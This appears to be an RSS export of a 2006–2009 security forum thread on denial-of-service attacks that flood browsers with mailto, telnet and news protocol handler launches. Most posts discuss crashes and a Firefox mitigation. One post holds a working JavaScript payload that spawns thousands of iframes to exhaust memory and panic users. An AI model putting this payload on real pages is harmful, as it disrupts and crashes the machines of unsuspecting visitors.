<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>Memory exhaustion via mailto tags</title>
        <description>One of the things I built was the mailto tag popup DoS located here: http://ha.ckers.org/weird/popup.html

I was playing around with other ways to do this, like perhaps include things like news:// or other directives that could spawn additional resources towards the end goal of memory exhaustion or otherwise getting the user so confused that they cannot stop whatever is happening.  I have a feeling there is an exploit buried in here, beyond buffer overflows, but actually through the art of confusion and user panic.</description>
        <link>http://sla.ckers.org/forum/read.php?14,56,56#msg-56</link>
        <lastBuildDate>Fri, 24 May 2013 07:24:44 -0500</lastBuildDate>
        <generator>Phorum 5.2.15a</generator>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,31577#msg-31577</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,31577#msg-31577</link>
            <description><![CDATA[External applications handler is really sucks in Safari (and in IE too)<br />
For example using iframe with src=&quot;skype:echo123?call&quot; in infinite loop makes Skype to call there<br />
It seems that there are certain ways for spamming using Safari and Skype URI]]></description>
            <dc:creator>p0deje</dc:creator>
            <category>DoS</category>
            <pubDate>Thu, 24 Sep 2009 06:00:32 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,31549#msg-31549</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,31549#msg-31549</link>
            <description><![CDATA[I've coded one more thing that definitely makes user to panic, but it works in Safari on Windows only, because it allows to open external Telnet applications.<br />
Maybe it also works on MacOS - I haven't been able to test.<br />
Try it in your Safari :) combined with mailto confusion it becomes totally cool thing. Going to post it at blog.<br />
Besides, I think there are some ways to seriously exploit external applications handler in Safari. Maybe play around with file:/// or smth like?<br />
<pre class="bbcode">&lt;body /&gt;
&lt;script&gt;
    function makeFrameTelnet() {
    ifrm = document.createElement(&quot;IFRAME&quot;);
    ifrm.src = 'telnet://nonexistent.com:80';
    document.body.appendChild(ifrm);
    }
&lt;/script&gt;
&lt;script&gt;
    function makeFrameNews() {
    ifrm = document.createElement(&quot;IFRAME&quot;);
    ifrm.src = 'news://nonexistent.com';
    document.body.appendChild(ifrm);
    }
&lt;/script&gt;
&lt;script&gt;
    for (i=0; i &lt; 9999; i++) {
    makeFrameTelnet()
    makeFrameNews()
    }
&lt;/script&gt;</pre>]]></description>
            <dc:creator>p0deje</dc:creator>
            <category>DoS</category>
            <pubDate>Tue, 22 Sep 2009 10:39:25 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,24116#msg-24116</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,24116#msg-24116</link>
            <description><![CDATA[@<b>RSnake</b>, <b>Metahuman</b>, <b>trev</b>:<br />
maybe Metahuman believed it was fixed because he's using NoScript, which has been blocking this kind of &quot;attack&quot; (automatic opening of external protocol URLs) for a long time.]]></description>
            <dc:creator>ma1</dc:creator>
            <category>DoS</category>
            <pubDate>Sun, 17 Aug 2008 12:00:53 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,24115#msg-24115</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,24115#msg-24115</link>
            <description><![CDATA[javascript has nothing to do with mailto: its how your browser/mail client handles when a mailto link is launched]]></description>
            <dc:creator>PaPPy</dc:creator>
            <category>DoS</category>
            <pubDate>Sun, 17 Aug 2008 11:13:03 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,24093#msg-24093</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,24093#msg-24093</link>
            <description><![CDATA[Haha, tested this on my brother, it spawned enough IE windows that the only way out was a reboot. How the heck does it work even with javascript disabled?]]></description>
            <dc:creator>asilvermtzion</dc:creator>
            <category>DoS</category>
            <pubDate>Fri, 15 Aug 2008 16:48:05 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,23331#msg-23331</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,23331#msg-23331</link>
            <description><![CDATA[Nope, doesn't seem fixed.]]></description>
            <dc:creator>trev</dc:creator>
            <category>DoS</category>
            <pubDate>Thu, 03 Jul 2008 07:37:17 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,22863#msg-22863</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,22863#msg-22863</link>
            <description><![CDATA[How is it fixed out of curiosity?  Can it only instantiate it once or something?]]></description>
            <dc:creator>rsnake</dc:creator>
            <category>DoS</category>
            <pubDate>Mon, 09 Jun 2008 10:22:11 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,22227#msg-22227</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,22227#msg-22227</link>
            <description><![CDATA[Erm, this seems to have been fixed with the newer version of FireFox.]]></description>
            <dc:creator>Metahuman</dc:creator>
            <category>DoS</category>
            <pubDate>Thu, 08 May 2008 08:45:00 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,21927#msg-21927</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,21927#msg-21927</link>
            <description><![CDATA[For the record, it's even more painful if your default application is something monstrous (like Lotus Notes).<br />
<br />
Just imagine, I'm sure you'll chuckle.]]></description>
            <dc:creator>kefka</dc:creator>
            <category>DoS</category>
            <pubDate>Thu, 17 Apr 2008 11:25:04 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,18098#msg-18098</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,18098#msg-18098</link>
            <description><![CDATA[hahah...  not super practical but good for a laugh.]]></description>
            <dc:creator>rsnake</dc:creator>
            <category>DoS</category>
            <pubDate>Sun, 09 Dec 2007 21:40:04 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,16279#msg-16279</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,16279#msg-16279</link>
            <description><![CDATA[I never should have told RSnake to add that damn refresh. Even being safe from the mailto crash, that page kills me too.]]></description>
            <dc:creator>Kyran</dc:creator>
            <category>DoS</category>
            <pubDate>Tue, 25 Sep 2007 21:49:04 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,13194#msg-13194</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,13194#msg-13194</link>
            <description><![CDATA[Still, while setting network.protocol-handler.external.mailto to false, firefox crashes. I guess this is because there is a script that loops the &lt;IFRAME&gt;&lt;/IFRAME&gt; tag an awful lot of times? <br />
<br />
If i stop the page load, Firefox hangs abit and eats up all of my CPU for a short period, but eventually it drops and gets normal.<br />
<br />
<br />
Man, I got annoyed when i clicked the link .. (do'h) Oh well, long live the curiosity :P]]></description>
            <dc:creator>Moccah</dc:creator>
            <category>DoS</category>
            <pubDate>Sun, 01 Jul 2007 16:59:56 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,403#msg-403</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,403#msg-403</link>
            <description><![CDATA[Thank you, WhiteAcid, that's great...  I accidentally nailed myself with my own script the other day.  Even though I caught it almost immediately it had enough time to still spawn about 50 windows.  Ugh!]]></description>
            <dc:creator>rsnake</dc:creator>
            <category>DoS</category>
            <pubDate>Sat, 02 Sep 2006 12:04:49 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,398#msg-398</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,398#msg-398</link>
            <description><![CDATA[Hmm... I might just do that, even though it also disables somewhat useful mailto links. It takes way to long for Thunderbird to boot up anyway.]]></description>
            <dc:creator>Ambush Commander</dc:creator>
            <category>DoS</category>
            <pubDate>Sat, 02 Sep 2006 10:59:24 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,390#msg-390</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,390#msg-390</link>
            <description><![CDATA[Go to about:config, set network.protocol-handler.external.mailto to false. Firefox will no longer have mailto: do anything.]]></description>
            <dc:creator>WhiteAcid</dc:creator>
            <category>DoS</category>
            <pubDate>Fri, 01 Sep 2006 21:27:59 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,389#msg-389</guid>
            <title>Re: Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,389#msg-389</link>
            <description><![CDATA[Well my stupid little mailto DoS got on Digg (waaaaay down the page).  In one day a thousand people went to that page.  1000 people had their day ruined:  http://www.digg.com/security/How_To_Crash_Internet_Explorer]]></description>
            <dc:creator>rsnake</dc:creator>
            <category>DoS</category>
            <pubDate>Fri, 01 Sep 2006 20:01:30 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,56,56#msg-56</guid>
            <title>Memory exhaustion via mailto tags</title>
            <link>http://sla.ckers.org/forum/read.php?14,56,56#msg-56</link>
            <description><![CDATA[One of the things I built was the mailto tag popup DoS located here: http://ha.ckers.org/weird/popup.html<br />
<br />
I was playing around with other ways to do this, like perhaps include things like news:// or other directives that could spawn additional resources towards the end goal of memory exhaustion or otherwise getting the user so confused that they cannot stop whatever is happening.  I have a feeling there is an exploit buried in here, beyond buffer overflows, but actually through the art of confusion and user panic.]]></description>
            <dc:creator>rsnake</dc:creator>
            <category>DoS</category>
            <pubDate>Mon, 21 Aug 2006 12:24:05 -0500</pubDate>
        </item>
    </channel>
</rss>
